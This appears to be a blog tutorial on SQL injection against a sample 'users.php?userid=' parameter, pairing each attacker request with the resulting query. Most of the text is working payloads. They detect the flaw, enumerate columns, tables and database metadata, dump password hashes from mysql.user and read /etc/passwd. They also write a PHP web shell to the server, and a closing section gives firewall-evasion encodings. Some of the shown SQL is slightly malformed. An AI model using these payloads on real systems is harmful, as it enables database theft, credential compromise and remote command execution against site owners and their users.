In each step, I will take two part, the first part is the request that was make by attacker, the second is query string that target.com used to get the data from database and highlight in the second are texts that make by attacker.
1. Find the vulnerability parameter with any special character or ', "
Request
target.com/users.php?userid='
Query String
select name, nickname from users where user_id='''
So if you received error message from website, it could be the vulnerability for attack.
2. Try another test with '1' or '1'='1' or '1' and '1'='1' and '1' and '1'='2'
Request
target.com/users.php?userid=1' or '1'='1
Query String
select name,nickname from users where user_id='
1' or '1'='1'
If you receive the results more than 1, the user_id is the vulnerability.
Request
target.com/users.php?userid=1 and 1=1
Query String
select name,nickname from users where user_id='
1' and '1'='1'
Request
target.com/users.php?userid=1 and 1=2
Query String
select name,nickname from users where user_id='
1' and '1'='2'
When you use '1' and '1'='1' and get the normal result. if you use '1' and '1'='2' and don't get any result, the user_id parameter are the vulnerability.
3. In this step, we will find how many columns that returned by the original query with ORDER BY
Request
target.com/users.php?userid=1 ORDER BY 1;#
Query String
select name,nickname from users where user_id='
1' ORDER BY 1;#'
If you get nothing, try next with 2,3,4,5,... if you try with 8 and get error messages, the columns that returned by original query are 7
So now we know the returned column are 7, we must select with 7 column to return in each step.
You can try this step with '1' UNION SELECT 1;#' too.
Request
target.com/users.php?userid=1' UNION SELECT 1;#
Query String
select name,nickname from users where user_id='
1' UNION SELECT 1;#'
So with this '1' UNION SELECT 1;#', if the return column is one column, you will get the results. if not, you will get nothing.
4. You can try to get column name with '1' OR testing IS NULL;#'
Request
target.com/users.php?userid=1' OR testing IS NULL;#
Query String
select name,nickname from users where user_id='
1' OR testing IS NULL;#'
If you get the error or nothing, it makes me know that there don't have column name 'testing'. So you can brute force to get column name with this state.
5. After the step 4, I get one of all column name is 'name', I will find name value with LIKE. With LIKE you can guessing or get information of name.
Request
target.com/users.php?userid=1' OR name LIKE %D%';#
Query String
select name,nickname from users where user_id='
1' OR name LIKE %D%';#'
The % is the wild character and _ represents any single character for LIKE command. This request mean we will query any name there are *D*. So if we lucky you will get the record that has name *D* like as Dan, Jodan, Jedt, etc.
You can try with another query like this.
1' OR name LIKE '_';#
1' OR name LIKE '____';#
1' OR name LIKE 'D%';#
6. This step we will find table name with
1' AND 1=(SELECT COUNT(*) FROM tablenames);#
Request
target.com/users.php?userid=1' AND 1=(SELECT COUNT(*) FROM tablenames);#
Query String
select name,nickname from users where user_id=
1' AND 1=(SELECT COUNT(*) FROM tablenames);#
This will brute force to find table name in the database.
7. This step we will find the table name again but in the information_schema table. The information_schema keep the data about databases, tables, users and etc.
the information_schema.tables are the list of database names.
table_schema are the database names of list
table_name are the table names of list
Request
target.com/users.php?userid=1' UNION SELECT 1,1,1,1,1,table_schema, table_name FROM information_schema.tables;#
Query String
select name,nickname from users where user_id=
1' UNION SELECT 1,1,1,1,1,table_schema, table_name FROM information_schema.tables;#
This query will get all database names and table names in the databases out to the page.
8. If you want to find version of SQL, use @@version to get it.
Request
target.com/users.php?userid=1' UNION SELECT 1,1,1,1,1,1,@@version;#
Query String
select name, nickname from users where user_id=
1' UNION SELECT 1,1,1,1,1,1,@@version;#'
9. If you want to find user of the database and use this database, use system_user() and user() to get it.
Request
target.com/users.php?userid=1' UNION SELECT 1,1,1,1,1,system_user(),user();#
Query String
select name, nickname from users where user_id=
'1' UNION SELECT 1,1,1,1,1,system_user(),user();#'
10. Try to list password hashes of database with '1' UNION ALL SELECT 1,1,1,1,1,user,password FROM mysql.user; --priv;#'
Request
target.com/users.php?userid=1' UNION SELECT
1' UNION ALL SELECT 1,1,1,1,1,user,password FROM mysql.user; --priv;#
Query String
select name, nickname from users where user_id=
'1' UNION ALL SELECT 1,1,1,1,1,user,password FROM mysql.user; --priv;#'
11. You can load internal file of server with 1' UNION ALL SELECT load_file('/etc/passwd'),'1
Request
target.com/users.php?userid=1' UNION ALL SELECT load_file('/etc/passwd'),'1
Query String
select name, nickname from users where user_id=
'1' UNION ALL SELECT load_file('/etc/passwd'),'1'
12. You can create the php shell in the server with 1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'phpshell.php';#
Request
target.com/users.php?userid=1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'phpshell.php';#
Query String
select name, nickname from users where user_id=
'1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'phpshell.php';#'
After create complete you can command it with phpshell.php?cmd=dir.
Evasion Technique.
This part is for evade the some Web Application Firewall.
Normal Attack.
union select from users where day='tomorrow'
Evading
union select from users where day=REVERSE('worromot')
union select from users where day=0x746f6d6f72726f77
union select from users where day LIKE '0x746f6d6f72726f77'
union select from users where day BETWEEN '0x746f6d6f72726f77' AND '0x746f6d6f72726f77'
union/**/select/**/from/**/users/**/where/**/day='tomorrow'
If you like my blog, Please Donate Me
